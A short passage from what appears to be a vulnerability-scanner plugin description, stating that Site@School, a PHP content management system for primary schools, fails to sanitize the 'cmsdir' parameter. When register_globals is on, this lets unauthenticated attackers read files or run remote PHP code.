"The remote host is running Site@School, an open source, PHP-based,
content management system intended for primary schools.

sanitize input to the 'cmsdir' parameter before using it to include
PHP code in several scripts.  Provided PHP's 'register_globals'
setting is enabled, an unauthenticated attacker may be able to exploit
this issue to view arbitrary files on the remote host or to execute
arbitrary PHP code, possibly taken from third-party hosts." );
